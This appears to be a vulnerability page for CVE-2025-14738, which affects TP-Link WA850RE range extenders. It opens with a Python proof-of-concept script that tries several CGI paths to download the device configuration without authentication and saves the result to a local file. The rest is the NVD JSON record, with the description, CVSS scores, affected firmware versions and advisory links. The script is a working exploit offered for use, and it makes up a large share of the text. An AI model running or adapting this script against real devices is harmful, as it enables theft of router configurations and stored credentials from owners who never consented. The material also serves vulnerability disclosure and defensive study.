CVE-2025-14738

import requests # CVE-2025-14738 PoC - TP-Link WA850RE Unauthenticated Configuration Download # Target: TP-Link WA850RE devices (V2 and V3) target_host = "http://192.168.0.254" # Default TP-Link WA850RE IP config_download_paths = [ "/cgi-bin/ConfigFileDownload", "/cgi-bin/ExportConfig.txt", "/download/settings.cfg", "/cgi-bin/ReadConfigData", "/cgi?download=settings.cfg" ] def download_config(target, path): """Download configuration file without authentication""" try: url = target + path headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 100: print(f"[+] Success! Config downloaded from: {url}") print(f"[+] Config size: {len(response.content)} bytes") # Save config to file with open(f"config_{path.replace('/', '_')}.bin", 'wb') as f: f.write(response.content) return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": print("CVE-2025-14738 PoC - TP-Link WA850RE Config Download") for path in config_download_paths: print(f"[*] Trying: {path}") if download_config(target_host, path): break

{"cve": {"id": "CVE-2025-14738", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2025-12-18T18:15:45.193", "lastModified": "2026-01-29T16:15:45.993", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper authentication vulnerability in TP-Link WA850RE (httpd modules) allows unauthenticated attackers to download the configuration file.This issue affects: ≤ WA850RE V2_160527,\n\n ≤ \n\n WA850RE V3_160922."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tl-wa850re_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "160527", "matchCriteriaId": "0F9DFB12-ADA7-420D-A636-D65F58F1B163"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tl-wa850re:2:*:*:*:*:*:*:*", "matchCriteriaId": "2B057313-DC09-4285-9FFB-384AE3D7E36A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tl-wa850re_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "160922", "matchCriteriaId": "4617022C-20EB-466B-BAE4-ABAF0409A0B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tl-wa850re:3:*:*:*:*:*:*:*", "matchCriteriaId": "BD3627F2-E488-4C51-985C-78DBB5A67610"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/06/23/tp-link-wa850re-unauthenticated-configuration-disclosure-vulnerability/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/us/support/download/tl-wa850re/v2/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/download/tl-wa850re/v3/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/4848/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}]}}